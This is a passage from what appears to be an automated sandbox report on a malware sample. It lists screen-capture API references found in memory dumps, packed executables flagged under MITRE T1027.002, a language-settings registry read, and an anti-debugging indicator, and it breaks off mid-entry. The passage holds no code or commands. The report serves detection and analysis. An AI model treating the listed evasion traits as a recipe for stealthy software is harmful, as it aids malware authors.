Source: "00000000-00002508.00000000.136250.00AD0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00002508.00000000.136250.00AD0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00002508.00000000.136250.00AD0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00002788.00000000.135235.005B0000.00000004.mdmp")5c:T570," Microsoft\"\n \"4_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"11_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"3973215340.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"8_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"3_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"3726628282.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"2_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"5_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"6_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"2488832884.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"12_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"7_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a1d8b94c6ff0ab42b05a821"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"$6b","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a1d8b94c6ff0ab42b05a821"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"